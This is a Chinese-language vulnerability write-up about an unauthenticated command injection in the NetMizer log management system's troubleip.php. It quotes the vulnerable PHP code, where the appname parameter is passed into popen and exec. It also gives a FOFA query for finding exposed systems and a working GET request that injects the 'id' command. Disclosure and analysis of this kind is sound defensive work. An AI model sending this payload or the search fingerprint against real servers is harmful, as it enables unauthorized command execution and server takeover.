漏洞简介
NetMizer日志管理系统是一款专为网络流量管理和优化设计的日志记录与分析工具,能够高效采集、存储和分析网络设备及应用的日志数据。然而,该系统中的 /data/search/troubleip.php 文件存在命令执行漏洞。未经身份验证的攻击者可以通过该漏洞在服务器端任意执行命令,写入后门程序,获取服务器权限,进而控制整个Web服务器。
影响版本
老旧版本
fofa语法
body="日志管理系统" && body="NetMizer"
漏洞分析
看下 troubleip.php 业务实现关键逻辑部分
else if($action == 'showtask'){
if($csv) $arr_proto = getcontentdesc(0);
else $arr_proto = getcontentdesc();
$curid = $page;
$linenum = $limit;
$cmd_root = "/var/www/cgi-bin/$appname";
$cmd = $cmd_root." -i ".intval($id)." -p ";
chdir("/var/www/html/");
$fp=@popen($cmd, "r");
$line=fgets($fp,2048);
if(substr($line, 0, 5)=="Error") {
@pclose($fp);
return $line;
}
当 $action == 'showtask' 时,$appname 直接拼接在 $cmd_root > $cmd 中带入 popen 执行,造成命令注入漏洞。
同样的当 $action == 'addtask' 时
$search_root = "/var/www/$path";
......
$cmd_root = "/var/www/cgi-bin/$appname";
......
$filename = $search_root."/".$now.".cfg";
$fp = fopen($filename, "w");
if($fp) {
fputs($fp, $str);
fclose($fp);
chdir("/var/www/cgi-bin/");
$cmd = $cmd_root." -i $now > /dev/null &";
//$cmd = $cmd_root." -t -v -i $now > /tmp/aa1.txt &";
@exec($cmd);
}
echo '{"success":true}';
$appname 也是直接拼接进命令执行字符串中用 exec 来执行最终的命令,造成命令注入漏洞。
漏洞复现
漏洞利用示例
GET /data/search/troubleip.php?action=showtask&appname=search;id+%23+&id=1 HTTP/1.1
Host: netmizer.mrxn.net
成功执行 id 命令并且回显命令执行结果



